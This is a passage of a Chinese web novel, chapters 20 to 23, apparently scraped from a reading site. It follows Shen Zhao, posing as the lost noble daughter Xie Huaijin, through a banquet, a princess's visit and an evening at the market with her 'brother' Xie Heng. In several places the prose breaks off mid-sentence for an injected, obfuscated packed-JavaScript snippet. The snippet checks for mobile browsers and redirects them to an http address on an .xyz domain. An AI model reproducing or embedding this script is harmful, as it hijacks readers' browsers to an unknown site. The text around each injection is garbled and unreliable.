沈昭接过,上好的红木匣子,其上雕着凤穿牡丹纹样,放在手中沉甸甸的,便仅这个锦匣亦价值不菲,“小事,你们是我兄长的朋友,自然也是我的,”登门宾客的礼品大多经由王管家清点整理,记在礼单之上,而后送到库房。 她并不知此处的礼节是否可以当着他的面打开,但又按捺不住好奇,试探问道:“我可以打开吗?” 沈昭如一只山间的小鹿,猝然闯进围得四四方方的院墙中,若无人拘她,她便在其中快活徜徉,但若四下禁锢,她通身的灵气倒给这死气沉沉的高门,多添一抹新意。 高义信浅笑:“但看无妨,既是送与姑娘,姑娘当然可以自行处置。” 沈昭拉开锦匣,一枚玉簪静卧其中,迎着光,流转月华般的光晕,簪身以和田白玉雕着,莹润如凝脂,日光下可见其中若隐若现的冰纹,恰如初春湖面上那将化未化的薄冰。 簪头一朵半开的玉兰,花瓣薄如蝉翼,仿佛轻风一拂便会颤动,花蕊旁嵌着米粒大小的东珠,泛着淡淡的粉色光晕。 都说金银有价玉无价,春宁虽跟着李立雯见过不少好物,但仍惊得屏住呼吸,打心底里为自家小姐高兴,只怕国公府很快便又有喜事了。 高义信在一旁:“这簪子最妙便是其中的花蕊,姑娘可试着用锦匣中的物件拨弄看看。” 锦匣中还附有一支银棍,沈昭两指捏起,轻轻拨动,半闭的玉兰如活物般徐徐盛开,露出藏在花心之中的一对翡翠蝴蝶,蝶翼薄得几乎透光,翅膀上的纹路却细如发丝却清晰可见,仿佛振翅欲飞。 春宁不由得惊呼出声,又紧紧掩住口,她的低呼吸引了周围人目光,谢珩和高峻也向这方看来。 由春宁的反应,沈昭自觉这枚玉簪只怕重若千金,无功不受禄,她与高义信才两面之缘,她将簪子收起,盖好盒盖:“高公子,这簪子太贵重了,你的好意我心领了,这枚玉簪我不便收下。” 没料到她拒绝得如此干脆,高峻当时陪他去挑选时,曾拍着胸脯说她定会收下,高义信眸光暗淡几许:“谢姑娘可是不喜欢?” “不不。喜欢是一回事,收下又是另一回事了。” 谢珩踱步向他们二人走去,高峻则瞟了一眼高义信,恨铁不成钢般,送个簪子此等小事怎会搞砸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看着远处马车上走下的一群仙儿似的女子,才恍然记起今日受李立雯之托,凑近一步问道:“兄长,你可有心仪之人,若是你相中哪家小姐,我偷偷帮你去打探一番。” 谢珩刚平复的心绪又被她惹弄,只冷冷道:“妄议女子本就非君子所为,婚嫁大事自然由母亲作主。” —— 沈昭远远看见的那群姑娘此刻正热闹议论着,走在最前的杜若开口:“我倒不信了,谢家妹妹失踪多年,怎的这么巧就寻回来了,我定要去拆穿她的身份。” 她身后一个姑娘怯生生道:“杜姐姐,今日国公府宴客,我们还是低调些,人既然是谢将军亲迎回府,怎会不调查清楚呢?” 其他几个跟随的姊妹气焰更盛:“冒名皇亲国戚,其罪当诛,杜妹妹你只管去,我们姐妹几个为你撑腰。” 国公府此时已高朋满座,杜若一行进门,将带的贺礼交由家丁,拢起搭在身上的披帛,气势凌人,大跨几步走到沈昭面前,先对谢珩执礼,又侧身看向一旁的沈昭。 她眼高于顶,刚欲张口:“你...” “姑娘头上的簪子可是金蝉玉叶簪”沈昭的眼眸登时亮了,她之前曾在故宫展柜中见过此物,传闻是南朝的贵妃所戴。 此刻见到真的古迹,眼睛都不舍得挪开半寸。 杜若出门前,特意梳洗打扮一番,专门带了御赐的簪子,可惜这群小姊妹不识好物,这一路上也没一人觉察,反倒被谢家新找回的小姐认出,其他人也仰头看去,眼中全是艳羡。 此刻她的虚荣心得到极大满足,纤纤玉手轻抚上簪子,眼神中全是得意:“姑娘好眼光,这正是御赐之物。” 方才与杜若“同仇敌忾”的姑娘扯扯她的披帛,清咳几声示意她莫忘了要紧事。 杜若敛起笑容:“据我们所知,每年来国公府冒认官家小姐的人之众,你又如何证明你是失散多年的谢怀瑾?” 其他人跟着附和。 沈昭挺起身子,站于一旁:“我此刻站在这,便是最好的证明咯,我若是假的,国公府会为此举办宴席么,我的祖母和母亲岂会认不出我?姑娘是质疑我呢,还是质疑当朝公主呢?” 杜若心思直,初念亦是好意:“我可没有,你休得乱说。” 谢珩招待完其他宾客,见这几名女子仍聚在门口,本不愿上前,但隐约听到杜若的疑惑,便上前问道:“杜姑娘是怀疑我办事不力,竟连自家妹妹都认不出了?” 眼看着即将开席,杜若出门时父亲便叮嘱莫要张扬,她抚正头上发簪:“罢了,那边恭喜国公府喜迎千金回府啦。” 沈昭瞧着小姑娘没有坏心思,又念着这些姑娘以后没准是她未来嫂嫂,她盛情请她们入坐。 宾客陆续到了,李立雯扶老夫人入座,台上的折子戏演得正热闹。 一出唱罢,李立雯便准备正式向众人介绍沈昭。 台上锣鼓声渐弱,众人鞠躬致谢。李立雯牵起她的手,一同向台中走去。 王管家却火急火燎跑来,拦下她们:“夫人,府外有人找小姐!请小姐出门相见。” 20. 第 20 章 沈昭在此地的朋友屈指可数,有谁会特意登门寻她呢? 她接触最多的高家公子,早已到了国公府,其他的世家望族,她连名都唤不出。 谢珩在一旁同样面露疑惑,怕出纰漏:“怀瑾,你先随母亲留此,我出去看看。” 王管家拦住他:“少爷,外面的人点名要见小姐!” 李立雯不满:“何人畏畏缩缩?既然是客请进来便是,若不是客,那赶走便是了。” 沈昭安抚:“母亲,不急于一时,我出去看看,速速就来。” 李立雯终是放不下心,便同谢珩一道,随她出门。 门外已站了两列侍卫,一辆金顶的马车停在门前,另有几名随侍候在一旁,如此仪仗,只有宫中之人。 李立雯驻足,眼眸微眯,认出这该是公主仪驾。 谢珩犹记起那日春风楼的事,看向一旁被蒙在鼓里的沈昭。 随侍先恭恭敬敬对李立雯作揖行礼,而后看向沈昭:“长乐公主到,还不上前相迎。” 沈昭哪知长乐公主是何人,但她自知惹不起,随着上前行礼道:“参见公主。” 李玥拎起裙角,气得雪腮鼓鼓,在婢女搀扶下下车,嗔怪道:“莫要无礼,谢家姑娘是我挚友,谁准你如此吼她。” 得了吩咐的随侍连连道歉,自责有眼无珠。 沈昭才知晓那日春风楼里的姑娘居然是长乐公主,李玥。‘ 长乐公主自小乖巧,因着母妃荣宠正盛,家族势力庞大,从未短缺过什么,她今日在景明帝下早朝后,央求好久让她出宫,要见一位旧友,若不是她执意拦着,只怕景明帝也会随他的爱女一同出来看看,究竟是何方神圣引得他的宝贝日夜思念。 长乐先走到李立雯面前,弯着梨涡喊了声:“姑母。” 又亲昵地挽起沈昭的手:“你我之间不必如此,叫我玥儿便好。” 她示意随侍拿出她备下的贺礼,两个木质大箱子,需四名侍卫用力才能抬起。 李玥怕她拒绝,先一步说俯在她耳畔低声说:“这是答谢你上次帮我解困,我如此兴师动众从宫内抬出,你可不要拒绝哦,下次出宫我还来寻你玩可好?” 李立雯对她颔首示意,沈昭只能笑着应下。 李玥一手牵起李立雯。软声撒娇:“姑母一直不进宫玩,可是不想念长乐?” 李立雯拉着她的手攥在怀中:“你这孩子最喜凑热闹,今儿还特意给你留了座呢,一会点出你爱看的戏。” 几人说笑着入府,长乐一向低调,但在座朝臣无一不认识她,除了三品以上官员,其他皆折腰而揖道:“公主。” 李玥就怕独占了风头,众人刚刚起身时,便开口:“我只是出宫转转,正巧听闻国公府有喜事,来凑个热闹,大家不必拘礼,今日以瑾姐姐为主。”说着把谢怀瑾引至台上,她暂退一旁由李立雯引荐介绍她给众人认识。 长乐公主深居简出,众人一时纳罕沈昭与她何时如此交好,但毕竟同气连枝,倒也正常。 由此,再无人对她的身份有质疑。 沈昭本意并不喜欢此等宴席,总觉以一种方式把彼此并不相熟之人凑在一起,甚是无趣,但又因着牵涉利益来往、家族宗亲,又不得不假意相迎,她弯着嘴角听了半天,两腮都有些酸麻。 但毕竟这是她工作一部分,仍打起精神迎来送往,李玥多坐了片刻后,约着下次见面的日子,先一步回宫。 老夫人陪着一些重要宾客,待去了大半后,才回房静养,待热闹散去,李立雯绷着笑的脸却登时垮了下来,对他们兄妹二人道:“珩儿、瑾儿随我来。” 沈昭冲他眨眼:“母亲怎么了?” 谢珩不明地摇头,只紧随其后。 斜阳透过雕花窗柩,洒下一片浅金。 李立雯进屋坐下,又遣了服侍的婢女和家丁,她柳眉紧皱,声如碎玉坠地:“珩儿,我昨日特意提前知会与你,让你好生帮看顾你妹妹,结果你们今日差点同御史大夫的女儿杜若起争执,你便是如此看的?” 对上出言顶撞视为不敬。 谢珩如此君子不会同她母亲辩驳,他敛眸而立,衣袍垂静:“是,儿子知错。” 李立雯坐在一旁话语不断,谢珩面上不显波澜,只隐忍附和几句。 沈昭同样垂首,一副恭顺样子,却偷偷挑起眼皮看他,谁能想到平日威风凛凛的金吾卫大将军,也有不敢反驳的时候,她一时忍俊不禁,翘起嘴角,又慌忙咬住下唇,强压住笑意。 偏偏眼尾轻弯,眸中碎光浮动,偷藏几分俏。 谢珩触及她的视线,又淡淡挪开。 李立雯训完谢珩后,又将话锋转到她身上:“瑾儿,你刚回府,我不便以礼数约束你,只想着慢慢学,不急于一时,但是朝中势力错综复杂,对任何人、事,哪怕心中再不愿,面上也得应付过去。” 沈昭虚心受教,“是”,宫斗好手亲身相传,哪怕日后用不到,听听也值。 李立雯继续道:“日后切记,无论发生何事,万不能强出风头。” “是。”沈昭连连应下,但她的话只匆匆过耳,反正待寻回真正的谢怀瑾她就回家了,以后少参加此种场合便是。 —— 夏目脸色苍白坐于医馆前,头上噙着汗珠:“大夫,我今晨起床后便腹痛难忍。” 大夫的手搭在她腕间:“夫人,您这是有喜了,不过夫人体内湿寒重,还得需好生将养,才能保住此胎,近几日切莫舟车劳顿。” 惊云一大早便起身去张罗车马,夏目只得自己去了医馆,待他回去后,发现屋内空无一人,登时慌了,在小镇上四处寻她,幸好这个镇子并不算大,未久便在医馆前找到夏目。 他本就计算着日子准备赶回国公府,经她如此耽搁,早已误事,他气极,将夏目往身前一拉,怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582292|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吼道:“你为何离开,你知道我寻了你多久?” 夏目手中拎着刚取的药,腹痛难忍,经他如此一呵,眉间拧成了麻花:“我腹痛不止,出门寻医,大夫说——” “别说了,”惊云直接出声打断她,此时赶去只怕府里早就散了,他当众揭穿假谢怀瑾的计划失算,懊恼不已。 送夏目出门的小药童听到他的吼声,走出药铺说道:“你是何人?这位夫人有孕在身,受不住你如此叫嚣,”他看向夏目,“夫人,需要替你报官吗?” 夏目摇摇头,谢过药童,踉跄着步伐走了。 惊云方才在气头上,听到“已有身孕”才恍然。 他勾起嘴角,既然生米煮成熟饭,她更不会离开他了,他脚步不停跟上,身段放软:“为何不早同我讲,让我陪你一道来,也省去不少功夫,慢点走。” 夏目自上月没见葵水就隐隐担忧,本想等他回来去看大夫,但迟迟不见惊云,又因着连日奔波,本就身子不适。 他不由分说便吼她,更让她心瞬时凉个透彻,她轻推开他的手:“你既有事便先忙吧,我自己回去就好。” 她如今有孕在身,这是国公府第一个外孙,若是他俩的婚事不牢靠,但这肚子里的孩子可做不得假,那是他保命的本钱,他厚着脸皮赔笑:“刚刚是我太着急了,我怕你出什么意外,本意不是吼你,我们先暂歇几日,待你身子调理好以后另说。” —— 挨训后,谢家兄妹一同走入院内,谢珩面上没有波澜。 沈昭则满脸悻悻,因着她饿了。 中午宴席既要招呼客人又须注重礼节,往往刚坐下还没来得及拿起竹筷,又被吩咐其他,本就没吃饱,母亲方才训诫时,又足足站了一炷香时辰,此刻头脑昏沉,连脚下的步伐都重了几许。 谢珩垂首看她,除了初见那日她没吃饱饭,自入府后还是第一次见她无精打采。 母亲思虑周到又事事提点,但常常关心则乱,对不知情的她来说,言语间确实重了些。 此刻已过了晚膳时辰,李立雯素日只用些清粥,经他们一气,全将这事抛在脑后。 沈昭摸着干瘪的肚皮,总算明白为何书中贪吃爱玩的千金小姐要偷偷爬墙溜出府了,她眼色不自觉瞥向一旁的院墙。 谢珩:“这院墙高数尺,哪怕踩着高登翻出去了,外侧无人接应,侥幸出去了,瘸着腿该如何玩呢?” 沈昭的心思被他识破:“我可没说我要出去,反倒是兄长一直盯着那高墙,你晨起练武,是不是饿了?我倒可以委屈一下,舍命陪君子。” 谢珩深深的眸底浮动一抹浅浅的笑意,开口道:“那我合该多谢你陪我出府走一遭?” 沈昭大方地摆摆手:“小事小事。”说罢就往墙边靠。 谢珩无奈摇摇头,伸出去想拦她的手顿在半空,又收回藏于袖中:“不必翻墙,你我二人,无需遮掩。” 21. 第 21 章 西市的胡商集市今日就要罢市了,下次需要再等十日。 以沈昭的运气,西市可算是她的福地,她上次许愿只想真正的谢怀瑾早日回府,一家团聚,可抽中玉瓶却是她的意外之喜。 她准备再去试试,看自己究竟是时来运转还是一时手抖。 杨方跟随两人出府,上次沈昭赏他的玉瓶,虽成色上佳,但算不上罕见的珍品,可到底是白花花的银子撒出去了,少爷眉头不皱一下,他心疼。 落在他手中,卖也亏了,不卖又整日提心吊胆生怕有个磕碰,听闻又要去西市,他心中暗叹:这次他可绝不敢贪心讨赏了。 到了西市后,沈昭一路上走走停停,手中很快又抱了满怀的小食。 晚上街市上的人本就不多,因着是最后一天,虽没有白日热闹,但仍有些零零散散,外出采买的百姓。 在西市行至半途,沈昭便看见远处两个熟悉的身影,高峻一身蓝色锦袍,身上的金线绣文经烛火照亮,在黑夜中熠熠生辉,高义信站在他身旁,虽衣着低调,但矜贵气质不俗,亦吸引了来往行人。 高峻顺着人潮认出谢珩一行,他挥手示意,高喊道:“九如,这么巧!” 谢珩提步向他们走去,不忘吩咐:“杨方,陪着小姐,前面那个杂果店若是再不排队,只怕要关门了。” 沈昭听罢,不欲掺和,只快走几步排在队末。 高峻探着脑袋,在人群中寻沈昭:“九如,你妹妹呢,怎么不见她。” 上次匆匆一见,他还没好好同佳人说过话呢! 谢珩知他一向没个正形,若这高峻同沈昭熟络,还不知会将长安城搅弄成何样,只将话锋错开。 沈昭不由得打了个饱嗝,看着前面迟迟未动的队伍,她早就备下银子准备今日再去胡商那试试手气,转身向北边走去:“走,杨方,我们再去寻上次那个胡商。” 付了入门费后,熟悉的乐声传来,仍是之前的面孔,只是多了不少正讨价还价的客人,一些人瞅准最后一日,即将罢市,准备捞个便宜,叉着腰同胡商讨价还价。 沈昭则直奔上次套圈胡商所在,眼前的一大块地却空空如也,她走到紧邻的摊位问道:“老板,上次在这套圈的那个胡商呢,东西都被套走了不成?” 老板:“姑娘您有所不知,前几日一个公子出手阔气,直接包下整个场子,就为了一个瓶子,那家伙摆五年都挣不到这个数,人家早收摊带着一家老小云游去了。”一边低头惋惜,“何时能让我碰见如此财主便发了。” 沈昭心道:长安城有钱人还是多,她上次问过谢珩,这些玉器虽做不得假,质量并非上乘。 能把这场子包下,真真人傻钱多。 杨方在一旁不敢多言,只恨不得将头埋到地下,那阔气的公子不正是自家少爷么! 幸亏当日围观群众多,将沈昭围在其中,眼前的老板并没将她认出,否则此刻哪能轻易让她们走了。 谢珩那方,他终是拗不过高峻,高家兄弟正在兴头上,不急着离开,同在一处早晚都会遇到,加之,架不住高峻扯着他的衣袍不让他离开,只得带着他们两人去寻沈昭。 谢珩掀帘入内,高家兄弟紧随其后,三人在人群中格外亮眼。 高峻仰头视线在四下逡巡,寻沈昭的身影,高义信虽身量不比他哥,但一言一行不疾不徐,气度卓然。 “哟~财主来了!”方才同她说话的老板麻利地摆上店内上好的瓷器,嘴角弯到耳后。 沈昭顺着他的目光去看:“哪个是财主,让我也沾沾财气,涨涨见识。” “就那个,穿着月白色衣袍,腰挂佩剑那位。”沈昭顺着他手指的方向,抬眼望去,正是谢珩。 一袭月白圆领袍,腰间束九环蹀躞带,金玉相击声清越入耳,袍摆银线绣暗纹随着他的步子轻摆,行止间银光隐现。 肩宽窄腰,广袖垂落似流云倾斜,乌发高束,眸若寒潭,下颌线条似工笔精妙勾勒,清贵中带几分疏离。 隔着人海,他亦抬眸看来,眸中的冷峻顿时化作坚冰消融的春水,佩剑上的剑穗随之一晃。 沈昭心尖蓦得一软,原来那百中挑一的卡不是巧合,盛满卡片的木箱中,张张都写着“中”这一字。 她嘴角不觉抿出一点甜意,初时她只道逢场作戏罢了,她配合他扮演失散多年的妹妹,哄得老夫人欢心,但谢珩确是如此: 有着金尊玉贵的身份,本可以无忧一生,却事事都要认真,明知虚情假意,他偏偏会给出真心。 原来这世间最好的彩头,从来不是签筒中的“上上签”、绣囊里的“金瓜子”,而是有人愿为你,将命中所有的不巧,都变成恰好。 他将她视作谢家小姐,默默满足她不切实际的私心。 “谢姑娘。”高义信轻声唤她,打断了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594595|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的思绪。 沈昭回之一礼:“两位公子,这么巧。” 高峻见不得这般推诿,大喇喇走上前:“什么姑娘公子的,太生分了,我同九如年岁相当,你便也唤我一声兄长,我随你兄长一般称你怀瑾可好? 至于义信,便唤他阿信吧,”他说着揽过谢珩,“怀瑾,你可大的面子,之前我邀你兄长同游,嘴皮都磨破了,他都不来。” 沈昭低头浅笑,谢珩把陪她游玩当成母亲安置的任务,同他的公事一般,岂会不尽心:“听府里人说,兄长之前公务繁忙,如今休沐几日,得了闲才能出来转转。” 高峻嘴上调笑。 整个长安城的名门望族公子小姐皆是他知己好友,唯独谢珩性子严谨,但她的妹妹倒是有趣,自她上次将手帕赠与高义信,他这个一向正经的弟弟霎时红了脸,他便上了三分心。 他意味深长地看了高义信一眼,缘分到了挡也挡不住。 他以手肘轻碰高义信:“怀瑾,上次你相赠的手帕我弟弟可珍惜着呢,那簪子你可喜欢,你若不喜改日再让他再寻几个好东西送你。” 他口无遮拦,倒把高义信臊得进退不得:“只是礼尚往来罢了,姑娘不必挂怀。” 如此贵重的礼物,她收得心惊胆战,还把李立雯气到了,这氏族之间的礼节规矩颇多,不免令她头疼,但终究是他一番盛情,沈昭真心谢他:“自然喜欢,上次还未来得及同你郑重谢过呢。” 高义信登时红了脸,但月色深深,并未被人觉察,垂首说:“无妨,你喜欢便好。” 高峻在一旁乐得合不拢嘴,自家的呆弟弟总算开窍了,会讨女孩子欢心了,高家后继有人咯。 谢珩则负手静立在一旁,眉眼一直锁在高义信身上,恨不得将其看穿。 少年将军虽没上过沙场,但持剑习武的凶煞气却锐不可当,无需对视,亦可感知他浑身的霜寒。 高义信扫过他,登时出了一身冷汗,怕自己礼数不周,又躬身对其一礼。 高峻看出谢珩的反常,拿手覆在他额前:“九如,怎么,身子不适?这天也不冷了,是不是穿得太少了。” 谢珩拨开他的手,淡淡道:“无事。” 高峻反应快,忙将他拉至一旁,为了避免旁人尴尬,小声说:“怎么,这妹妹才相认几日,这就护上了,旁人瞧都瞧不得了?都是做兄长的,大度点,看开些。”· 22. 第 22 章 说者无意,但听的人却各怀心事。 高义信只怕他兄长的态度唐突了谢姑娘,又加之谢珩在一旁,心中又羞又窘。 沈昭虽见惯了他阴晴不定,心绪变化似天边的云,时而晴空万里,时而阴云密布,有时夸他他反而还置气,便一笑置之,并没放在心上。 他虽然大多时候少言,但该做的事倒尽心尽力,对她出重金聘任,在银钱上从不缺着她,被母亲责骂亦是他在前,如此神仙兄长,她已然十分知足。 高峻瞧着气氛因他一句玩笑话冷了下来,一手搭在谢珩肩上,一手搭在高义信身上,将众人拢在一起:“既然来了,我们不妨一同转转。” “好啊。”沈昭心向往之,十分乐意,人多才热闹嘛。 高峻说罢拉着谢珩走在前,不给他拒绝的机会。 单独为他们二人留下相处空间。 高义信将手一扬:“怀瑾,请。” 他们二人便跟在高峻同谢珩身后,高义信站人群一侧,时不时抬手为她挡开一旁的人,与她保持着得体的距离,他本就善读书,博学多识,接触久了便发现,他就任何话题都能聊上几句,但又不像他兄长一般口无遮拦。 观点既不迂腐又不偏颇,亦不会一味顺着她的话敷衍,正如这初夏的风,轻拂脸庞,有着融融暖意又透着淡淡的清爽。 谢珩耳畔不时传来沈昭的笑声,他回身去看,却被一旁的高峻颁正:“九如,这便是你的不是了,俗语说佳偶天成,你看我们今日偶遇岂不就是缘,若是两人皆对彼此有意,你拦着也无用,总不能同你新认回的妹妹生了嫌隙对吧, 何况你对高家知根知底,若是令妹嫁给义信,自是不会亏待她,她想回去看望老夫人便随时回去罢了,我父亲母亲都极通情理,还有我在一旁看顾,出不了一点儿差错。” 高峻热衷于当这媒人,殊不知正因他在这周旋,才将水搅得更浑了。 谢珩冷淡开口:“若是有缘相聚,那高兄与我岂不是也缘分匪浅,何况久处之后尚且各有矛盾,不相调和,仅见两面,又怎会了解品性,以至妄断终身呢。” 高峻听罢,忽地双手交叠抱于胸前,收起调笑姿态,前所未有地严肃认真道:“我...我竟不知九如还对我有这般想法,”他叹息一声,“虽我玉树临风,可惜终归不是女儿身,但若九如执意如此,我倒并不介意为你牺牲一番。” 谢珩握住佩剑的手紧了紧,青筋暴起,眉眼间闪过一丝寒芒。 高峻怕他下一刻真刀剑相向,忙用手止住:“开个玩笑,九如,玩笑话罢了,切莫当真。” 谢珩收势,开口拒绝道:“祖母的身子刚刚有所好转,定不会同意如此草草将怀瑾嫁于他人。” “是是是,”高峻迎着笑脸,“你放心,不会耽误你们一家团聚,更不会对老夫人不敬,一切自当以她为尊。”转头却小声嘀咕,“人家都巴不得为自家妹妹相看一门好亲事,你这倒好,小古板。” 但他深知自家弟弟亦是个不推不动的性子,凡事需徐徐图之,不急于一时。 一行人走至河边,河上飘着数只花船,船头悬着细纱宫灯,烛光盏盏,灯影经水波荡漾,碎成胭脂色的星子,偶有伶人抱琴吟唱,曲调哀婉幽怨,却被近岸酒肆的猜拳声和吆喝声搅散了。 高峻脑筋一转,反正谢珩事事以他妹妹为重,何妨还听他的意见,不若直接问谢怀瑾。 他驻足问道:“怀瑾,天色尚早,不如我们同船游湖如何?” 那个困在嘴边的“好”字还未说出口,沈昭念着她们本就溜出府玩,今晨惹得李立雯生气,若回去太晚,恐惹出其他事端,无奈开口:“多谢兄长美意了,不过时辰不早了,回去太晚,母亲会担心,等改日有空我们可以再同游。” 高峻不知他们刚挨完训,只大笑几声:“长安城最厉害的金吾卫在此,若是他都护不住你,那整个长安城可没有个安生地方了,你母亲自然放心。” 他挑眉看着谢珩,等他个答复。 谢珩则顺着沈昭的话继续道:“府中尚有门禁,算着时辰该是快到了,高兄、义信,今日便不能奉陪了,我们改日再聚。” 高峻当然不会轻易放他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610542|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人离开,“门禁”?晋国公府何时有这等新鲜说法了,他欲问个究竟,高义信看出他们的为难,抢先一步说道:“天色不早,确实不该任由姑娘在外,坐花船不急于一时,谢家刚寻回怀瑾,自然是多同府里人亲近些更好。” 言毕,躬身一礼,算作拜别。 “那我们改日再见。”沈昭的话还未来得及说完,手腕忽地被谢珩握紧,强行拉着离开了。 “哎!”高峻还未来得及开口,便被高义信挡在身后,拉住他,“哥,莫忘了礼数,既然怀瑾想早些回府,我们何必拦她。” 高峻惋惜,用手轻触他的额头:“你啊,刚觉得你开窍了,怎的又如此愚笨,你若事事顺着她,她改日喜欢上别家儿郎,那你还得送她出嫁不成。”拂袖而去。 沈昭还不忘回头,以另一只手招手再见。 她低眸看向自己的手腕,被谢珩紧紧握住,他骨节分明的手正巧将她的皓腕包住,微凉的触感像极了河边的风,丝丝缕缕,却驱不散身上的热意。 那力道不容她挣脱,像是怕她反悔似的,又暗中加了三分劲。 走至青石窄巷,周围灯火渐暗,他牵着她疾走,宽大的袖口掠过檐下的风灯,投下彼此交错的身影。 她只瞧见他半边侧脸,下颌绷得紧实,唇线抿成一道浅浅的红,倒比平时冷峻的脸庞多了几分柔和。 握着她的掌心由温热愈发滚烫,灼得她指尖轻微发颤,剑穗上下不安地晃动,乱了分寸。 “等等,”沈昭出声,谢珩止住步子,回头望她,碎发贴着她的鬓角,微风吹拂轻轻扬起,像乱颤的花枝,搅碎了冬日的清冷。 沈昭微喘着气,轻拢鬓边的乌发于耳后,举起仍被他拉着的手:“兄长如今倒不重男女大防了?”她笑音里浸着三分甜和七分刃,偏要看他如何自处。 谢珩神色未变,罕见地向她跨进一步,两人之间的距离被瞬时拉近,又将她的手握紧几分,带着薄茧的拇指在她的虎口处不轻不重地一摩,反倒像暗暗的警告。 沈昭直视着他的深眸,不躲不避,等着他的回答。 23. 第 23 章 谢珩终是卸了力,指节一寸寸松开,将她的手轻放下:“照顾幼妹本就是我的责任,何况以你故乡九州习俗,此举并不算越界,这可曾是你亲口所言。” 说罢又踱步拉开两人距离,恢复往昔生人勿近的模样。 沈昭却浅笑:“谢谢你。” 谢珩不解:“何出此言?” 他既想隐下胡商一事,沈昭自不必主动提及,只说道:“你教的长安城异术很管用,真的会带来幸运。” 她的话刚落下尾音,风吹起风灯,昏黄的光顺着她的发髻弧度倾斜,映得耳畔的玉坠如两滴清露,将坠未坠,眼眸中像掬着一把凉星,闪烁隐现。 那一句简单的“不必”,却硬生生卡在他喉间,像压着千钧,竟连呼吸都凝了几分,他瞧见一丝细发垂于她唇间,他竟鬼使神差地想伸手去拂,指尖抬起半寸,又生生弯折。 “市井流传罢了。”最终他吐出淡淡又克制的几个字,只是尾音仍颤在喉间,反倒像在唇齿之间仔细碾过几回才勉强成形。 忽而有家雀略过檐角,惊落蓄存的水滴,倒教他的胸膛也跟着淅淅淋淋湿了一片。 他蹙眉暗道:这天儿竟愈发闷热了。 沈昭和谢珩回府后,各自回房。 谢珩脚步却停在“秉正堂”前,思虑良久,终是转了个弯,趁着夜色来到卫青家宅前。 卫青今日轮休,但他一向少眠,并未入睡,手捧着书本却越看越困,平日里弟兄们互相调笑得多读些书,像将军般能文能武,他虽然听入耳了,却字字不入眼,倒是书上的画儿格外引人注意。 他们一家四口同居,已是夜深,谢珩不便登门拜访,他伏低身子于院墙上,以两指夹住袖箭,随着一声破空之声,锋利的箭头从半开的窗户缝隙中直直擦过,直抵卫青房内墙上。 屋内人影轻晃,握着书本的手发力:“何人?”瞥见墙上闪过的衣角,他起剑紧随,追至门外才认出是谢珩。 卫青登时紧张起来,全身肌肉紧绷,谢珩休沐几日,长安城内偶有几个盗贼作案,他派人蹲守去寻,可这小贼不仅熟知地形,还善躲藏,只抓了几个,但那贼首却一直未抓获归案。 但此等小事,何至于让将军特意来寻? 他深夜造访,定是有要事相商。 近几日,他全权负责衙里事务,除了姜尧受伤仍在修养,他谨慎行事并无大事发生,他将剑收于身后,执礼道:“将军。” 谢珩轻拍他的臂弯,压下他在半空的手:“不必紧张,我深夜寻你,不是为着公事。” 卫青心中警铃大作,他与将军之间,谈何私事? 姜尧受伤虽不是因他而起,他到底也有责任,立刻开口认错,头低得更甚:“属下办事不力,还请将军责罚。” 谢珩无奈:“你可还记得上次同你说起你家中妹妹。” 卫青:“?” 谢珩轻咳:“我初寻回失散多年的妹妹,心中仍不免有惑,想向你请教一二。” “将军但说无妨,属下定当知无不言言无不尽。”如此,卫青才松了口气。 谢珩:“若是有人心仪你妹妹,有求娶之意,你作为兄长,该当如何?” 卫青轻笑一声:“那傻丫头,若谁看中她,我自然是拍手称快了,不知谁家小子,可倒了八辈子霉,”话语刚毕,他怕有损在谢珩面前的好印象,又斟酌用词,一本正经说,“作为兄长,若此人确实品性才貌不凡,且对我妹妹真心实意,我自然开心,我与她平日嬉闹惯了,但若真有人敢欺负她,我高低把他揍得满地找牙。”说着拳头不自觉捏紧。 “不会不舍,甚至...心绪不宁?” 卫青认真思索:“不舍该是会有些,不过比起我爹娘,他们可能更不舍吧,出嫁又不是出家,她岂能不回娘家,又不是见不到了,至于心绪不宁...属下愚钝,亦不知会如何。” 卫青性子一向直爽,听到他妹妹出嫁一事,光是想想那场面,嘴角都要裂到后脑勺了,岂会心绪不宁。 